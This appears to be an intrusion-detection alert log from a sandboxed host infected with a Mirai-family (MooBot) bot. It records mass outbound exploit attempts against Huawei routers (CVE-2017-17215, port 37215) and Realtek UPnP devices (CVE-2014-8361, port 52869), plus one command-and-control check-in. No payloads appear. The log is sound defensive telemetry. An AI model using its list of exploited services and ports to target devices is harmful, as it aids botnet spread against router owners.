07/20/24-23:01:22.741097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59334	37215	192.168.2.13	24.98.52.32
07/20/24-23:01:14.522190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54410	52869	192.168.2.13	47.21.202.187
07/20/24-23:01:22.745836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51794	37215	192.168.2.13	197.171.102.62
07/20/24-23:01:02.613618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35908	37215	192.168.2.13	197.194.56.97
07/20/24-23:00:59.020131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37720	37215	192.168.2.13	41.17.9.128
07/20/24-23:01:05.623019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39716	52869	192.168.2.13	83.224.119.168
07/20/24-23:00:59.019656	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51224	37215	192.168.2.13	157.200.98.141
07/20/24-23:01:25.390311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46446	37215	192.168.2.13	41.215.111.230
07/20/24-23:01:22.819749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49508	37215	192.168.2.13	157.73.12.212
07/20/24-23:01:02.661070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52570	37215	192.168.2.13	14.89.47.143
07/20/24-23:01:04.996112	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42384	52869	192.168.2.13	143.236.166.197
07/20/24-23:01:14.539913	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57754	52869	192.168.2.13	77.182.150.37
07/20/24-23:01:04.798742	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48496	52869	192.168.2.13	135.241.25.166
07/20/24-23:01:07.411128	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58568	52869	192.168.2.13	57.53.68.209
07/20/24-23:01:25.390310	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48260	37215	192.168.2.13	41.133.113.49
07/20/24-23:01:02.628234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37288	37215	192.168.2.13	197.199.15.206
07/20/24-23:01:36.796105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45400	37215	192.168.2.13	41.239.252.49
07/20/24-23:01:36.855169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35644	37215	192.168.2.13	170.155.211.72
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36190	37215	192.168.2.13	91.112.89.216
07/20/24-23:01:27.354949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40744	52869	192.168.2.13	159.21.195.127
07/20/24-23:01:19.329748	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42244	52869	192.168.2.13	80.238.42.16
07/20/24-23:01:06.544900	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43130	52869	192.168.2.13	141.36.128.134
07/20/24-23:01:14.502469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43894	52869	192.168.2.13	31.175.187.129
07/20/24-23:01:14.556764	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49512	52869	192.168.2.13	64.225.124.7
07/20/24-23:01:25.414531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42526	37215	192.168.2.13	197.115.182.83
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55338	37215	192.168.2.13	197.44.80.81
07/20/24-23:01:14.998326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53280	37215	192.168.2.13	197.130.207.237
07/20/24-23:01:19.345992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52382	52869	192.168.2.13	98.254.20.30
07/20/24-23:01:07.555762	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53292	52869	192.168.2.13	107.240.237.92
07/20/24-23:01:14.501229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45402	52869	192.168.2.13	104.26.83.71
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44796	37215	192.168.2.13	197.253.26.85
07/20/24-23:01:02.613456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35018	37215	192.168.2.13	197.112.159.46
07/20/24-23:01:22.739029	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60976	37215	192.168.2.13	197.231.142.145
07/20/24-23:01:04.853128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41746	37215	192.168.2.13	62.21.175.88
07/20/24-23:01:20.563042	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52508	52869	192.168.2.13	138.112.34.112
07/20/24-23:00:59.021252	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37320	37215	192.168.2.13	197.204.98.25
07/20/24-23:01:25.416964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35244	37215	192.168.2.13	41.175.218.202
07/20/24-23:01:32.206772	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54228	37215	192.168.2.13	41.84.146.44
07/20/24-23:01:27.352658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46798	52869	192.168.2.13	77.11.226.101
07/20/24-23:01:21.019040	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59282	52869	192.168.2.13	101.150.57.159
07/20/24-23:00:59.020493	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44818	37215	192.168.2.13	197.145.183.59
07/20/24-23:01:14.527950	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40684	52869	192.168.2.13	172.51.83.216
07/20/24-23:01:19.070489	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53418	52869	192.168.2.13	197.103.196.150
07/20/24-23:01:08.459274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57096	37215	192.168.2.13	197.15.189.58
07/20/24-23:01:22.744419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40832	37215	192.168.2.13	197.97.73.167
07/20/24-23:01:14.518210	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59672	52869	192.168.2.13	51.230.131.89
07/20/24-23:01:07.457703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42968	52869	192.168.2.13	112.136.148.134
07/20/24-23:01:25.390544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56014	37215	192.168.2.13	197.155.97.104
07/20/24-23:01:27.354991	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38378	52869	192.168.2.13	23.221.87.235
07/20/24-23:01:14.539379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44524	52869	192.168.2.13	170.23.175.88
07/20/24-23:01:22.748660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56070	37215	192.168.2.13	41.122.143.112
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49922	37215	192.168.2.13	197.246.25.39
07/20/24-23:01:08.419092	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59286	37215	192.168.2.13	41.120.106.92
07/20/24-23:01:02.612616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36826	37215	192.168.2.13	197.164.134.229
07/20/24-23:01:32.260444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45028	37215	192.168.2.13	157.2.226.172
07/20/24-23:01:14.536691	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44536	52869	192.168.2.13	8.85.166.254
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44506	37215	192.168.2.13	157.79.176.119
07/20/24-23:01:32.238261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39276	37215	192.168.2.13	157.75.227.228
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50408	37215	192.168.2.13	41.174.42.115
07/20/24-23:01:14.575911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46990	52869	192.168.2.13	96.235.29.144
07/20/24-23:01:04.592707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32812	52869	192.168.2.13	100.58.169.89
07/20/24-23:01:04.960605	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47374	52869	192.168.2.13	183.33.143.75
07/20/24-23:01:04.841989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34506	37215	192.168.2.13	41.116.235.163
07/20/24-23:01:07.426654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57308	52869	192.168.2.13	13.232.225.193
07/20/24-23:01:14.525838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48282	52869	192.168.2.13	221.85.136.10
07/20/24-23:01:06.799605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39816	37215	192.168.2.13	53.181.49.136
07/20/24-23:01:02.601458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58204	37215	192.168.2.13	40.45.115.153
07/20/24-23:01:04.893876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45362	37215	192.168.2.13	41.255.50.16
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34388	37215	192.168.2.13	197.97.63.100
07/20/24-23:02:20.309421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39848	37215	192.168.2.13	111.129.109.250
07/20/24-23:01:27.352864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54336	52869	192.168.2.13	158.95.177.24
07/20/24-23:01:27.237698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46118	37215	192.168.2.13	112.41.208.220
07/20/24-23:01:22.748660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59194	37215	192.168.2.13	157.215.137.160
07/20/24-23:01:08.447448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48954	37215	192.168.2.13	41.221.35.218
07/20/24-23:01:14.558193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45534	52869	192.168.2.13	2.24.106.226
07/20/24-23:00:59.022402	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58296	37215	192.168.2.13	197.9.119.173
07/20/24-23:01:14.521013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59240	52869	192.168.2.13	209.200.229.61
07/20/24-23:01:02.613618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59198	37215	192.168.2.13	41.60.18.93
07/20/24-23:01:07.550390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55746	52869	192.168.2.13	95.49.112.227
07/20/24-23:01:14.566160	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59608	52869	192.168.2.13	119.98.5.56
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39418	37215	192.168.2.13	157.47.240.95
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46544	37215	192.168.2.13	157.167.94.194
07/20/24-23:01:22.812907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43490	37215	192.168.2.13	157.129.27.74
07/20/24-23:01:25.389445	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53806	37215	192.168.2.13	41.204.210.210
07/20/24-23:01:32.199190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41874	37215	192.168.2.13	197.51.230.24
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37386	37215	192.168.2.13	13.246.228.105
07/20/24-23:01:36.785491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43124	37215	192.168.2.13	41.243.143.47
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60782	37215	192.168.2.13	148.83.172.41
07/20/24-23:01:08.455372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34354	37215	192.168.2.13	197.68.241.243
07/20/24-23:01:02.699257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37696	37215	192.168.2.13	197.170.0.226
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59838	37215	192.168.2.13	19.63.222.55
07/20/24-23:01:14.551639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55390	52869	192.168.2.13	47.222.214.79
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37812	37215	192.168.2.13	72.15.115.172
07/20/24-23:01:25.414530	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60158	37215	192.168.2.13	157.214.161.128
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46408	37215	192.168.2.13	197.107.101.183
07/20/24-23:01:36.781604	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48460	37215	192.168.2.13	41.189.227.135
07/20/24-23:01:36.783303	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41318	37215	192.168.2.13	197.160.103.208
07/20/24-23:01:06.806392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58920	37215	192.168.2.13	157.213.89.135
07/20/24-23:01:36.781432	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58288	37215	192.168.2.13	157.12.156.36
07/20/24-23:01:14.507784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54908	52869	192.168.2.13	64.186.75.249
07/20/24-23:01:14.574230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36660	52869	192.168.2.13	188.112.111.250
07/20/24-23:01:27.359674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36400	52869	192.168.2.13	46.178.0.255
07/20/24-23:01:04.908544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53060	37215	192.168.2.13	41.35.182.26
07/20/24-23:01:05.801989	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35290	52869	192.168.2.13	130.147.77.29
07/20/24-23:01:25.388927	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38962	37215	192.168.2.13	157.116.99.51
07/20/24-23:00:59.019912	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35076	37215	192.168.2.13	41.201.10.23
07/20/24-23:01:14.512354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42510	52869	192.168.2.13	207.32.229.66
07/20/24-23:01:36.794115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53560	37215	192.168.2.13	157.22.79.93
07/20/24-23:01:04.592586	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44176	52869	192.168.2.13	38.49.123.120
07/20/24-23:01:14.505885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55284	52869	192.168.2.13	47.131.156.7
07/20/24-23:01:27.361793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52498	52869	192.168.2.13	13.207.20.98
07/20/24-23:01:14.547224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52386	52869	192.168.2.13	219.208.149.193
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54190	37215	192.168.2.13	41.151.30.29
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60686	37215	192.168.2.13	211.71.91.54
07/20/24-23:01:05.570843	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35784	52869	192.168.2.13	70.194.220.73
07/20/24-23:01:05.005729	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40360	52869	192.168.2.13	156.218.218.173
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41752	37215	192.168.2.13	197.17.10.227
07/20/24-23:00:59.019482	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32874	37215	192.168.2.13	41.56.118.161
07/20/24-23:00:59.021109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37640	37215	192.168.2.13	157.171.167.12
07/20/24-23:01:32.202996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43014	37215	192.168.2.13	197.150.160.38
07/20/24-23:01:02.628234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54026	37215	192.168.2.13	197.146.235.18
07/20/24-23:00:59.019865	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51480	37215	192.168.2.13	124.38.65.99
07/20/24-23:01:15.000002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45276	37215	192.168.2.13	157.30.60.2
07/20/24-23:01:25.414531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47264	37215	192.168.2.13	197.144.40.137
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37266	37215	192.168.2.13	197.234.167.229
07/20/24-23:01:22.739607	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53604	37215	192.168.2.13	197.76.209.136
07/20/24-23:01:04.874130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46262	37215	192.168.2.13	157.162.35.169
07/20/24-23:01:15.059692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42550	37215	192.168.2.13	107.115.208.97
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40028	37215	192.168.2.13	85.180.224.205
07/20/24-23:01:36.781522	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60178	37215	192.168.2.13	142.48.177.154
07/20/24-23:01:04.168266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37400	52869	192.168.2.13	119.44.232.241
07/20/24-23:01:36.847780	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57106	37215	192.168.2.13	197.82.36.0
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35894	37215	192.168.2.13	197.244.207.253
07/20/24-23:01:04.848080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33872	37215	192.168.2.13	157.200.220.148
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53738	37215	192.168.2.13	41.159.252.215
07/20/24-23:01:09.544104	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52138	37215	192.168.2.13	157.117.65.6
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49398	37215	192.168.2.13	123.170.138.193
07/20/24-23:01:27.363404	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40174	52869	192.168.2.13	84.175.23.63
07/20/24-23:01:32.208939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48656	37215	192.168.2.13	5.7.47.44
07/20/24-23:01:20.569310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53066	52869	192.168.2.13	147.249.130.149
07/20/24-23:01:08.369553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39836	37215	192.168.2.13	157.80.68.55
07/20/24-23:01:27.361793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60376	52869	192.168.2.13	176.200.162.136
07/20/24-23:01:36.850220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46086	37215	192.168.2.13	41.243.47.143
07/20/24-23:01:06.171643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39944	52869	192.168.2.13	195.228.120.248
07/20/24-23:01:15.001455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60994	37215	192.168.2.13	53.180.150.104
07/20/24-23:01:02.613618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33886	37215	192.168.2.13	41.157.87.9
07/20/24-23:01:17.466978	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	60094	2466	192.168.2.13	15.235.203.214
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33312	37215	192.168.2.13	41.163.77.32
07/20/24-23:01:27.237698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48046	37215	192.168.2.13	200.96.128.108
07/20/24-23:01:08.419092	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54558	37215	192.168.2.13	41.214.231.94
07/20/24-23:01:12.357339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55850	37215	192.168.2.13	157.104.61.140
07/20/24-23:00:59.055118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60900	37215	192.168.2.13	157.237.43.90
07/20/24-23:01:02.669609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54416	37215	192.168.2.13	92.31.50.53
07/20/24-23:01:04.841989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33494	37215	192.168.2.13	197.217.94.248
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52534	37215	192.168.2.13	41.240.194.108
07/20/24-23:01:19.859226	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55592	52869	192.168.2.13	1.125.24.131
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41610	37215	192.168.2.13	157.54.211.159
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42600	37215	192.168.2.13	193.141.44.151
07/20/24-23:00:59.020716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56970	37215	192.168.2.13	192.48.206.157
07/20/24-23:01:21.658252	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52324	52869	192.168.2.13	122.30.247.236
07/20/24-23:00:59.021447	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50040	37215	192.168.2.13	41.186.86.221
07/20/24-23:01:08.369553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33370	37215	192.168.2.13	157.39.99.25
07/20/24-23:01:14.504881	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51378	52869	192.168.2.13	103.233.66.3
07/20/24-23:01:14.536803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48188	52869	192.168.2.13	191.94.176.193
07/20/24-23:01:14.521013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36066	52869	192.168.2.13	138.25.247.16
07/20/24-23:00:59.019994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36346	37215	192.168.2.13	157.62.193.172
07/20/24-23:01:12.360354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34352	37215	192.168.2.13	41.60.250.173
07/20/24-23:01:14.533681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33430	52869	192.168.2.13	139.0.230.132
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49180	37215	192.168.2.13	197.221.137.47
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46758	37215	192.168.2.13	197.229.86.59
07/20/24-23:01:04.775487	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36730	52869	192.168.2.13	69.82.73.167
07/20/24-23:01:06.002151	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35948	52869	192.168.2.13	63.139.62.111
07/20/24-23:01:36.866693	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47794	37215	192.168.2.13	157.209.185.36
07/20/24-23:01:27.361992	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33502	52869	192.168.2.13	51.92.99.71
